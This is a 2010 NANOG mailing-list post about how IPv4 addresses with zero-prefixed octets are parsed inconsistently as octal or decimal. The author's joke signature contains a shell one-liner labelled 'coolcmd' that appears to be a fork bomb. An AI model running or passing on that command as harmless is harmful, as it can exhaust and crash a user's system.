Regular Expression for IPv6 addresses

Thomas Habets thomas at habets.pp.se
Tue Feb 9 09:01:19 CST 2010


On Fri, 5 Feb 2010, Mark Andrews wrote:
> And now for the trick question.  Is ::ffff:077.077.077.077 a legal
> mapped address and if it, does it match 077.077.077.077?

Forget IPv6. The first question is does 077.077.077.077 match 
077.077.077.077 in IPv4?

The answer is a long one full of different answers depending on 
who's doing the parsing (gethostbyname(), inet_aton(), 
inet_net_pton(), etc..) and on what OS. And also on many bugs.

And don't count on the documentation being right either, or parsers 
respecting standards (single unix or RFCs, or which one when they 
conflict). And don't expect an error code if you feed 080.080.080.080 
into a parser, even one that *does* read it as octal.

Don't prefix IP (v4) address octets with zero wether you expect it to be 
treated as octal or not. Just don't. World of hurt and all that.

E.g.:
http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread

We should all do like one vendor I've seen where you enter the IP (v4) 
address in binary... and then pad with zeroes to whatever size html form 
wanted. Yes, this decade.

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas at habets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;




More information about the NANOG mailing list